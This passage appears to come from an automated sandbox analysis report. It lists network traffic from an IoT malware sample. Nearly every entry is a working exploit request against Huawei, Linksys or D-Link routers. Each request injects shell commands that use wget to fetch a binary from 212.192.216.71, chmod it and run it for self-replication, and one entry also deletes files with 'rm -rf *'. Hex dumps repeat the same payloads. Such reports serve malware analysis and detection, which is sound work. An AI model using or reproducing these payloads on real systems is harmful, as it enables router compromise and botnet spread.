3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 